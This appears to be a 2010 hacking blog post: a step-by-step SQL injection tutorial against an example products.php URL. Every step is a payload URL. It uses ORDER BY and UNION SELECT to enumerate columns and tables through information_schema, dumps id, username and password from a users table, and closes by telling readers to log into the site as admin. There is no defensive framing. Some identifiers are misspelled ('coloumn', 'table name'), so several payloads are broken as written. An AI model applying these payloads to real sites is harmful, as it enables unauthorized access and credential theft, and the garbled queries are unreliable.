SQL injection

Posted by Yusuf Fachroni | | Selasa, 31 Agustus 2010 23.50

SQL Injection

1. target, ex:
http://www.target-neogabriel.us/products.php?id=9

2. chek vuln with '
ex: http://www.target-neogabriel.us/products.php?id=9'
if vuln success will appear message warning: mysql_fedtch_assoc():supplied argument is not a valid MySQL result...etc

3. find coloumn site with command "order by"
ex: http://www.target-neogabriel.us/products.php?id=-9 order by 1--
find coloumn ex:
http://www.target-neogabriel.us/products.php?id=-9%20order%20by%201--
http://www.target-neogabriel.us/products.php?id=-9%20order%20by%202--
http://www.target-neogabriel.us/products.php?id=-9%20order%20by%203--
http://www.target-neogabriel.us/products.php?id=-9%20order%20by%204-- >> error appear on this coloumn

ok, this site has 3 coloumn

4. find coloumn to exploit with command "union"
ex: http://www.target-neogabriel.us/products.php?id=-9+union+all+select+1,2,3
then appear number 2, so we do a exploitation in coloumn number 2

5. check version with command "@@version" in number of coloumn union
ex: http://www.target-neogabriel.us/products.php?id=-9+union+all+select+1,@@version,3
SQL injection can work in version 5

6. find table in site with command group_concat(table_name)
ex: http://www.target-neogabriel.us/products.php?id=-9+union+all+select+1,group_concat(table_name),3+from+information_schema.tables
ok, table "users" founded

7. find coloumn_name in users table with command group_concat(coloumn_name) from information_schema.coloumns+where+table+name=0x users<hex of users is 7573657273
ex: http://www.target-neogabriel.us/products.php?id=-9+union+all+select+1,group_concat(coloumn_name),3+from%20information_schema.coloumns+where+table+name=0x7573657273
ok, appear coloumn name: id,username,password

8. Now, we open that coloumn
ex: http://www.target-neogabriel.us/products.php?id=-9+union+all+select+1,group_concat(id,0x3a,username,0x3a,password),3+from users--

9. thada!! username admin and password was appeared!!
Now, U can open that site in login admin,

RSS feed for comments on this post.

Leave a comment